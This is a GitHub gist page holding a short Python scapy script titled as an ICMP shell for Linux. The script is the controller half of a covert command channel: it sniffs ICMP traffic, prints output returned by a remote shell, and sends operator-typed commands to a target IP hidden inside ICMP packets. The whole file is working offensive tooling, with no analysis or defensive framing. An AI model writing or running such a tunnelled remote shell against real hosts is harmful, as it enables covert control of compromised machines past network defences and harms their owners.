Created
January 14, 2019 16:19
-
-
Save int0x33/04db2307408de013198591fdf6c2c5d7 to your computer and use it in GitHub Desktop.
ICMP Shell for Linux using ICMP tunneling
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import * | |
import sys | |
interface = sys.argv[1] | |
dstip = sys.argv[2] | |
def pkt_callback(pkt): | |
# pkt.show() # debug statement | |
if pkt[Raw].load == "ECMD": | |
print "Enter command to execute:" | |
cmd = raw_input() | |
packet = IP(dst=dstip)/ICMP()/cmd | |
send(packet) | |
#packet.show() | |
# print pkt[Raw].load | |
print "[!] Command Sent" | |
else: | |
print "[!] We got a connection from the shell, reading packet..." | |
print pkt[Raw].load | |
print "Enter command to execute:" | |
cmd = raw_input() | |
packet = IP(dst=dstip)/ICMP()/cmd | |
send(packet) | |
print "[!] Command Sent" | |
#packet.show() | |
sniff(iface=interface, prn=pkt_callback, filter="icmp", store=0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment